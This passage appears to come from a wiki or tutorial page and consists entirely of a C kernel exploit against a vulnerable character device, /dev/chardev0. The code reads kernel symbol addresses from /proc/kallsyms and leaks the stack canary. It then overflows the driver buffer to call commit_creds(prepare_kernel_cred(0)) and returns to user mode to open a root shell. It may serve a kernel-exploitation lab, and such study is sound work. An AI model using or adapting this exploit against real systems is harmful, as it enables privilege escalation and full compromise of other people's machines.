...
| Code Block | ||||
|---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o exploit exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
#define TEXT_LEN 64
unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
struct trap_frame {
void *user_rip ; // instruction pointer
uint64_t user_cs ; // code segment
uint64_t user_rflags ; // CPU flags
void *user_rsp ; // stack pointer
uint64_t user_ss ; // stack segment
} __attribute__((packed));
struct trap_frame tf;
void getShell(void) {
execl("/bin/sh", "sh", NULL);
}
void prepare_tf(void) {
asm("mov tf+8, cs;"
"pushf; pop tf+16;"
"mov tf+24, rsp;"
"mov tf+32, ss;"
);
tf.user_rip = &getShell ;
}
void payload(void)
{
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov %%rsp, %0;"
"iretq;"
: : "r" (&tf));
}
unsigned long kallsym_getaddr(const char* str)
{
FILE *stream;
char fbuf[256];
char addr[32];
stream = fopen("/proc/kallsyms","r");
if(stream < 0)
{
printf("failed to open /proc/kallsyms\n");
return 0;
}
memset(fbuf,0x00,sizeof(fbuf));
while(fgets(fbuf,256,stream) != NULL)
{
char *p = fbuf;
char *a = addr;
if(strlen(fbuf) == 0)
continue;
memset(addr,0x00,sizeof(addr));
fbuf[strlen(fbuf)-1] = '\0';
while(*p != ' ')
*a++ = *p++;
p += 3;
if(!strcmp(p,str))
return strtoul(addr, NULL, 16);
}
return 0;
}
int main()
{
static char buf[512],rop[512];
char canary[8];
int fd,i,j;
//Find the address of "commit_creds()"
commit_creds = kallsym_getaddr("commit_creds");
if(commit_creds == 0)
{
printf("failed to get commit_creds address\n");
return 0;
}
printf("commit_creds address is :%p\n",commit_creds);
//Find the address of "commitprepare_kernel_credscred()"
prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
if(prepare_kernel_cred == 0)
{
printf("failed to get prepare_kernel_cred address\n");
return 0;
}
printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred);
//leak the canary
if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
printf("Cannot open /dev/chardev0. Try again later.\n");
return 0;
}
lseek(fd, 16, SEEK_CUR);
read(fd, buf, TEXT_LEN);
for (i = 0; i < 4; i++)
{
for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
printf(" | ");
for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
printf("\n");
}
memcpy(canary, buf+48,8);
printf("canary is :");
for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff);
//Exploit code
memset(rop, 0x41, 64);
memcpy(rop+64,canary,8);
memset(rop+72,'A',8);
memset(rop+80,'B',8);
memset(rop+88,'C',8);
*(void**)(rop+96) = &payload;
memset(rop+104,'D',8);
prepare_tf();
//Overflow
write(fd, rop, 104);
if (close(fd) != 0){
printf("Cannot close.\n");
}
return 0;
} |
...